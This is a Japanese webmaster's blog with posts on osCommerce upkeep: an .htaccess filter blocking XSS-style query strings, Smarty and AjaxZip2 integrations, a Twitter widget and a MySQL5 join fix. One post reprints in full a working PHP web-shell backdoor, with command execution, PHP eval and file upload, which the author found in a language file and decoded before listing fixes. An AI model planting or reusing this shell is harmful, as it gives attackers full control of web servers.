2010/01/26

アンチクロスサイトスクリプティング - anti XSS

シンプルな対策としてhtaccessに以下を記述
攻撃者に対して返すファイルを設置(fuckyou.php)


#アンチXSS(クロスサイトスクリプト対策)
Options +FollowSymLinks
RewriteEngine On
RewriteCond %{QUERY_STRING} base64_encode.*¥(.*¥) [OR]
RewriteCond %{QUERY_STRING} (¥<|%3C).*script.*(¥>|%3E) [NC,OR]
RewriteCond %{QUERY_STRING} (¥<|%3C).*iframe.*(¥>|%3E) [NC,OR]
RewriteCond %{QUERY_STRING} GLOBALS(=|¥[|¥%[0-9A-Z]{0,2}) [OR]
RewriteCond %{QUERY_STRING} _REQUEST(=|¥[|¥%[0-9A-Z]{0,2})
RewriteRule ^(.*)$ fuckyou.php [F,L]
RewriteCond %{REQUEST_METHOD} ^(TRACE|TRACK)
RewriteRule .* - [F]

base64_decode - セキュリティ強化

なにげに言語ファイルを覗いていると、言語ファイルの冒頭に
<?php if(isset($_GET['lave']) || isset($HTTP_GET_VARS['lave'])) eval(base64_decode('ごにょごにょ')?>

なるものを発見

base64_encorderで内容をエンコードしてみると以下のようになる。

@set_time_limit(0);
@error_reporting(2);
@set_magic_quotes_runtime(0);
@ini_set('upload_max_filesize',10485760);
@ini_set('post_max_size',10485760);
@ini_set('file_uploads', true);
@ini_set('display_errors',true);
@ini_set('register_globals',true);
@ini_set('register_long_arrays',true);
@ini_set('max_execution_time',false);
@ini_set('output_buffering',false);
@ini_set('allow_url_fopen',true);
$safemode=@ini_get('safe_mode');

$magic_quotes=1;
if (function_exists('get_magic_quotes_gpc')) $magic_quotes=get_magic_quotes_gpc();

$phpver = str_replace('.','',phpversion());
if (strlen($phpver)<3) while (strlen($phpver)<3) $phpver.='0';
if(intval($phpver) < 410){
$_POST=&$HTTP_POST_VARS;
$_GET=&$HTTP_GET_VARS;
$_SERVER=&$HTTP_SERVER_VARS;
$_COOKIE=&$HTTP_COOKIE_VARS;
$_FILES=&$HTTP_POST_FILES;
}
@ob_end_clean();

$pw_pls="<form method=post><input type=text name=pw></form>";

if (empty($_POST['pw'])) exit($pw_pls);
if (!empty($_POST['pw']) && md5($_POST['pw'])!='a5dc497c9784a67b0ae8503c9ea4c74f') exit($pw_pls);

$pw="<input type=hidden name=pw value='".htmlspecialchars($_POST['pw'])."'>";

if (!empty($_POST['usemodule'])) include($_POST['usemodule']);

$work_dir = getcwd();
if (strpos($work_dir,"??")!==false) $work_dir=str_replace("??","/",$work_dir);
if (strpos(substr($work_dir,0,5),":")!==false) $os="win";
else $os="nix";
if (!empty($_POST['cd'])) $cd=stripslashes($_POST['cd']);
else $cd = $work_dir;

if (is_dir($cd)) chdir($cd);

$run=($magic_quotes)?stripslashes($_POST['run']):$_POST['run'];
$edit=stripslashes($_POST['edit']);
if (!@is_file($edit)) $edit=$cd;

if (!empty($_POST['eval'])) eval(($magic_quotes)?stripslashes($_POST['eval']):$_POST['eval']);

if (!empty($_FILES['userfile']['tmp_name']) && is_uploaded_file($_FILES['userfile']['tmp_name'])) {
$uploaddir = ereg_replace('/+', '/', $cd."/");
$uploadfile = $uploaddir.basename($_FILES['userfile']['name']);
move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile);
}

if (isset($_POST['save'])) {
if ($magic_quotes) $console = stripslashes($_POST['console']);
else $console = $_POST['console'];
$time = filemtime($edit);
$f=@fopen($edit,"w");
if ($f) {
fwrite($f,$console);
fclose($f);
touch($edit,$time);
$edit=$cd;
}
}

if (!empty($edit) && file_exists($edit) && is_file($edit) && $edit!==$cd) {
if ($os=='win'?can_write($edit):is_writable($edit)) $need_save_button=true;
$f=@fopen($edit,"r");
if ($f) {
if (filesize($edit)>0) $retval = @fread($f,filesize($edit));
else $retval = "[empty]";
fclose($f);
} else {
$retval = "Can't open file: $edit?n";
}
} elseif (!empty($run)) {
$cmd = $run;
$retval = magic_execute($cmd);
} elseif (file_exists($cd) && @is_dir($cd)) {

if (!$safemode)
{
if ($os=='win')
{

$cmd = "dir ".str_replace("/","??",$cd);
$retval = magic_execute($cmd);
}
else
{
$cmd = "ls -la ?"$cd?"";
$retval = magic_execute($cmd);
}
}

if (empty($retval))
{
$dir=$cd;
if($curdir = @opendir($dir)) {
while($file = readdir($curdir)) {
if($file != '.' && $file != '..') {
$srcfile = $dir . '/' . $file;
if(is_file($srcfile)) {
if ($os=='win'?can_write($srcfile):is_writable($srcfile)) $retval .= "++ ".$file."?n";
else $retval .= "-- ".$file."?n";
} elseif(is_dir($srcfile)) {
if ($os=='win'?can_write($srcfile):is_writable($srcfile)) $retval .= "d+ ".$file."?n";
else $retval .= "d- ".$file."?n";
}
}
}
closedir($curdir);
} else $retval = "Cant open directory?n";
}


}

$id_exec = "cant get uid,gid";

if ($tmp = magic_execute("id")) $id_exec = $tmp;
elseif (function_exists('posix_getgid'))
{
$uids = @posix_getlogin();
$euids = @posix_getlogin();
$uid = @posix_getuid();
$euid = @posix_geteuid();
$gid = @posix_getgid();
if (!empty($uid)) $id_exec = "User: uid=$uids($uid) euid=$euid($euid) gid=$gid($gid)";
}

echo '<HTML><BODY onload="document.getElementById(?'cdfocus?').focus();"><HR>';
echo date("d.m.Y h:i A")." OS:$os $id_exec safe_mode=$safemode";
echo "<HR>";
if (isset($need_save_button)) echo "<FORM method=post>";
echo '<TEXTAREA id="console" name="console" style="width:100%;height:400px;">';
if (isset($retval)) echo htmlspecialchars($retval);
echo '</TEXTAREA>';
if (isset($need_save_button)) echo "$pw<INPUT type='hidden' name='cd' value='".htmlspecialchars($cd)."'><INPUT type='hidden' name='edit' value='".htmlspecialchars($edit)."'><INPUT type=submit name=save value='Save'></FORM>";
echo "<HR><FORM method=?"POST?">$pw";
echo "<table><tr><td>dir:</td><td width=?"100%?"><input type=?"text?" style=?"width:100%;?" id=?"cdfocus?" name=?"cd?" value=?"".htmlspecialchars($cd)."?"></td></tr>".
"<tr><td>run:</td><td><input type=?"text?" style=?"width:100%;?" name=?"run?" value=?"?"></td></tr>".
"<tr><td>edit:</td><td><input type=?"text?" style=?"width:100%;?" name=?"edit?" value=?"".htmlspecialchars($edit)."?"></td></tr>".
"</table>".
"<input type=?"submit?" value=?"OK?"></FORM>";

echo "<hr><form enctype=?"multipart/form-data?" method=?"post?">$pw<INPUT type='hidden' name='cd' value='".htmlspecialchars($cd)."'><input type=?"hidden?" name=?"MAX_FILE_SIZE?" value=?"15000000?" />upload: <input name=?"userfile?" type=?"file?" /><input type=?"submit?" value=?"upload?" /></form><hr>";
echo "<form method=post>$pw<textarea style=?"width:100%;height:100px;?" name='eval' id='eval'>phpinfo();</textarea><input type=submit value='EvalPHP'></form><hr>";
echo "use module: <form method=post>$pw<input type='text' name='usemodule'>&nbsp;<input type=submit value='use'></form><hr>";
echo "</BODY></HTML>";

exit();


function can_write($file) {if(file_exists($file)){if (is_file($file)) {$f=@fopen($file,"a+");if($f){fclose($f);return true;}}elseif (is_dir($file)) {if ($file[strlen($file)-1]!='/') $file.='/';$tfile = $file."testxxxtest";if (@touch($tfile)){unlink($tfile);return true;}}}return false;}

function magic_execute($cmd)
{
$res=false;
if (function_exists('exec'))
{
@exec($cmd,$res);
$res = join("?n",$res);
}
else
if (function_exists('shell_exec'))
$res = @shell_exec($cmd);
else
if (function_exists('system'))
{
@ob_start();
@system($cmd);
$res = @ob_get_contents();
@ob_end_clean();
}
else
if(function_exists('passthru'))
{
@ob_start();
@passthru($cmd);
$res = @ob_get_contents();
@ob_end_clean();
}
else
if (@is_resource($f = @popen($cmd,"r")))
{
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
}
return $res;
}


どうも悪意のある書き込みなのでセキュリティーの修正をしなければ。。
本家の修正案を考慮して〜

やっておくべきこと

  • 管理フォルダのリネーム ◯簡単なのでこれから
    インジェクションアタック対策 ◯これも修正済み
    監視モニタの設置 ◯入れてみた
    IPトラップ ×いろいろ影響出そうなのでスルー
    管理フォルダのhtaccessでBASIC認証 ×いつでもできるしパスワードが増えるのは面倒
    クロスサイトスクリプトの修正 ◯割と簡単、効果あるかな?




  • とりあえずこんだけすりゃ大丈夫かな?

    2010/01/24

    oscommerce smartyにコントリビューションの移植

    oscommerceをsmartyでデザインとロジックに分離した
    alterというバージョンが存在する。これにログインボックスをつけてみる。

    まずは簡単なコントリビューションからいってみよう。
    本家にいってこれをDL (Login box 1.0)
    http://www.oscommerce.com/community/contributions,645/page,6

    smartyへ登録するために必要なのは基本的に以下の2行のみ。
    $this->box_smarty_obj->assign("login_box_hedding_title",BOX_LOGINBOX_HEADING);
    $this->box_smarty_obj->assign("login_box_contents",$loginboxcontent);

    この2行でほとんどが対応可能。1行目でBOXのヘッダ部分を登録し、
    2行目でBOXのコンテンツ部分の登録になります。

    loginbox.phpでは、中で直接BOXを表示するためにHTMLが記載されています。
    $loginboxcontentという変数に表示内容が設定されています。infoBoxHeadingやinfoBoxを生成していますが、これはBOXのヘッダ部分とコンテンツ部分の枠を作成する関数なので、smartyの場合は不要です。なぜなら、これらはtemplateに記載するためなので、
    $loginboxcontentをsmartyに登録するだけでいいことになります。
    どこを修正したかわかりやすいように不要な部分はコメントアウトにしました。

    <?php
    *osCommerce, Open Source E-Commerce Solutions
    http:www.oscommerce.com Copyright (c) 2002 osCommerceReleased under the GNU General Public LicenseIMPORTANT NOTE:This script is not part of the official osC distribution
    but an add-on contributed to the osC community. Please
    read the README and INSTALL documents that are provided
    with this file for further information and installation notes.loginbox.php - Version 1.0
    This puts a login request in a box with a login button.
    If already logged in, will not show anything.
    *
    ?>
    <!-- loginbox -->
    <?php
    if (!tep_session_is_registered('customer_id')) {
    ?>
    <!--不要なので削除
    <tr>
    <td>
    -->

    <?php
    以下も不要なので削除
    $info_box_contents = array();
    $info_box_contents[] = array('align' => 'left',
    'text' => BOX_LOGINBOX_HEADING
    );
    new infoBoxHeading($info_box_contents, false, false);
    $loginboxcontent = "
    <table border="0" width="100%" cellspacing="0"cellpadding="0">
    <form name="login" method="post" action="" . tep_href_link(FILENAME_LOGIN, 'action=process', 'SSL') . "">
    <tr>
    <td align="left" class="boxText">
    " . BOX_LOGINBOX_EMAIL . "
    <td>
    <tr>
    <tr>
    <td align="left" class="boxText">
    <input type="text" name="email_address" maxlength="96" size="20" value="">
    <td>
    <tr>
    <tr>
    <td align="left" class="boxText">
    " . BOX_LOGINBOX_PASSWORD . "
    <td>
    <tr>
    <tr>
    <td align="left" class="boxText">
    <input type="password" name="password" maxlength="40" size="20" value="">
    <td>
    <tr>
    <tr>
    <td align="center" class="boxText">
    " . tep_image_submit('button_login.gif', IMAGE_BUTTON_LOGIN) . "
    <td>
    <tr>
    <form>
    <table>
    "; 以下も不要なので削除
    $info_box_contents = array();}
    $info_box_contents[] = array('align' => 'center',
    'text' => $loginboxcontent
    );
    new infoBox($info_box_contents); smartyに表示内容を登録する処理を追加
    $this->box_smarty_obj->assign ("login_box_hedding_title",BOX_LOGINBOX_HEADING);
    $this->box_smarty_obj->assign("login_box_contents",$loginboxcontent);?>
    <!-- 以下は不要なので削除
    <td>
    <tr>
    -->

    <?php
    }
    else
    {
    If you want to display anything when the user IS logged in, put it
    in here... Possibly a "You are logged in as :" box or something.
    特に記載する必要なし。
    }
    ?>
    <!-- loginbox_eof -->

    ほとんどコメントアウトし表示するためのデータをsmartyのオブジェクトにassignするだけです。

    loginbox.phpを呼び出す
    require(DIR_WS_BOXES . 'loginbox.php'); // 追加

    templateに追加するには
    {if $login_box_contents}
    <!-- loginbox_info //-->
    {$login_box_hedding_title}
    {$login_box_contents}
    <!-- loginbox_info_eof //-->
    {/if}

    これでよい(htmlで装飾するのもアリ)

    2010/01/23

    ツイッターAPI

    ブログやホームページなどに貼る用に書いてみました〜

    <script src="http://widgets.twimg.com/j/2/widget.js"></script>
    <script>
    new TWTR.Widget({
    version: 2,
    type: 'profile',
    rpp: 5,
    interval: 6000,
    width: 230,
    height: 300,
    theme: {
    shell: {
    background: '#333333',
    color: '#ffffff'
    },
    tweets: {
    background: '#000000',
    color: '#ffffff',
    links: '#4aed05'
    }
    },
    features: {
    scrollbar: false,
    loop: false,
    live: true,
    hashtags: true,
    timestamp: true,
    avatars: true,
    behavior: 'all'
    }
    }).render().setUser('ツイッターユーザー名').start();
    </script>


    ツイッターユーザー名を書き換えてコピペ

    2010/01/22

    oscommerceにAjaxZip2を実装

    通販で住所を登録するのが面倒なので、郵便番号を入力すると
    住所が自動で入力されるAjaxZip2を実装してみる。

    ダウンロードはこちら

    で肝心のoscommerceで住所を入力するところといえば
    ../catalog/create_account.phpなのですが
    項目のモジュールは../catalog/includes/account_details.phpですね

    まずはこの二つのファイルをバックアップ
    ダウンロードしたファイルを/catalogにアップロード
    簡単な所から書き換えるとcreate_account.phpのhead内に以下を追記

    <script src="ajaxzip2/prototype.js"></script>
    <script src="ajaxzip2/ajaxzip2.js" charset="UTF-8"></script>
    <script>AjaxZip2.JSONDATA = 'ajaxzip2/data';</script>


    次は../includes/modules/account_details.phpの145行目あたりに
    // postcode
    if ($is_read_only == true) {
    $a_value = $account['entry_postcode'];
    } elseif ($error) {
    if ($entry_post_code_error == true) {
    $a_value = tep_draw_input_field('postcode') . ' ' . ENTRY_POST_CODE_ERROR;
    } else {
    $a_value = $postcode . tep_draw_hidden_field('postcode');
    }
    } else {
    $a_value = tep_draw_input_field('postcode', $account['entry_postcode']) . ' ' . ENTRY_POST_CODE_TEXT;
    こんなところがあるので
    $a_value = tep_draw_input_field('postcode', $account['entry_postcode']) . ' ' . ENTRY_POST_CODE_TEXT;
    コレにkawa.netさんのマニュアルのようになる風に書き換え
    $a_value = tep_draw_input_field('postcode', $account['entry_postcode'],'onKeyUp="AjaxZip2.zip2addr(this,\'state\',\'city\',null,\'addr\',\'street_address\');"') . ' ' . ENTRY_POST_CODE_TEXT;
    この二つのファイルをアップロードして完了!(5分かからんな)

    2010/01/21

    1054 - Unknown column 'p.products_id' in 'on clause'

    oscommerceをMySql5で使うときの編集方法

    まずこの行をさがす(/catalog/default.phpの170~190)
    // We are asked to show only a specific category
    $listing_sql = "select " . $select_column_list . " p.products_id, p.manufacturers_id, p.products_price, p.products_tax_class_id, IF(s.status, s.specials_new_products_price, NULL) as specials_new_products_price, IF(s.status, s.specials_new_products_price, p.products_price) as final_price from " . TABLE_PRODUCTS . " p, " . TABLE_PRODUCTS_DESCRIPTION . " pd, " . TABLE_MANUFACTURERS . " m, " . TABLE_PRODUCTS_TO_CATEGORIES . " p2c left join " . TABLE_SPECIALS . " s on p.products_id = s.products_id where p.products_status = '1' and p.manufacturers_id = m.manufacturers_id and m.manufacturers_id = '" . (int)$HTTP_GET_VARS['manufacturers_id'] . "' and p.products_id = p2c.products_id and pd.products_id = p2c.products_id and pd.language_id = '" . (int)$languages_id . "' and p2c.categories_id = '" . (int)$HTTP_GET_VARS['filter_id'] . "'";
    この中で以下の文を探し
    from " . TABLE_PRODUCTS . " p, " . TABLE_PRODUCTS_DESCRIPTION . " pd, " . TABLE_MANUFACTURERS . " m, " . TABLE_PRODUCTS_TO_CATEGORIES . " p2c left join
    カッコで括る
    from (" . TABLE_PRODUCTS . " p, " . TABLE_PRODUCTS_DESCRIPTION . " pd, " . TABLE_MANUFACTURERS . " m, " . TABLE_PRODUCTS_TO_CATEGORIES . " p2c) left join
    ここはこれでよし
    もう一カ所はこの文中の
    // We show them all
    $listing_sql = "select " . $select_column_list . " p.products_id, p.manufacturers_id, p.products_price, p.products_tax_class_id, IF(s.status, s.specials_new_products_price, NULL) as specials_new_products_price, IF(s.status, s.specials_new_products_price, p.products_price) as final_price from " . TABLE_PRODUCTS_DESCRIPTION . " pd, " . TABLE_PRODUCTS . " p left join " . TABLE_MANUFACTURERS . " m on p.manufacturers_id = m.manufacturers_id, " . TABLE_PRODUCTS_TO_CATEGORIES . " p2c left join " . TABLE_SPECIALS . " s on p.products_id = s.products_id where p.products_status = '1' and p.products_id = p2c.products_id and pd.products_id = p2c.products_id and pd.language_id = '" . (int)$languages_id . "' and p2c.categories_id = '" . (int)$current_category_id . "'";
    }
    この行を探し、またカッコで括る
    from ((" . TABLE_PRODUCTS_DESCRIPTION . " pd, " . TABLE_PRODUCTS . " p) left join " . TABLE_MANUFACTURERS . " m on p.manufacturers_id = m.manufacturers_id, " . TABLE_PRODUCTS_TO_CATEGORIES . " p2c) left join
    コレで良い

    advanced_search_result.phpにも似たような行があるのでコレも修正
    $from_str = "from " . TABLE_PRODUCTS . " p left join " . TABLE_MANUFACTURERS . " m using(manufacturers_id), " . TABLE_PRODUCTS_DESCRIPTION . " pd left join " . TABLE_SPECIALS . " s on p.products_id = s.products_id, " . TABLE_CATEGORIES . " c, " . TABLE_PRODUCTS_TO_CATEGORIES . " p2c";
    これもカッコで括る
    $from_str = "from ((" . TABLE_PRODUCTS . " p) left join " . TABLE_MANUFACTURERS . " m using(manufacturers_id), " . TABLE_PRODUCTS_DESCRIPTION . " pd) left join " . TABLE_SPECIALS . " s on p.products_id = s.products_id, " . TABLE_CATEGORIES . " c, " . TABLE_PRODUCTS_TO_CATEGORIES . " p2c";
    参考ページはココ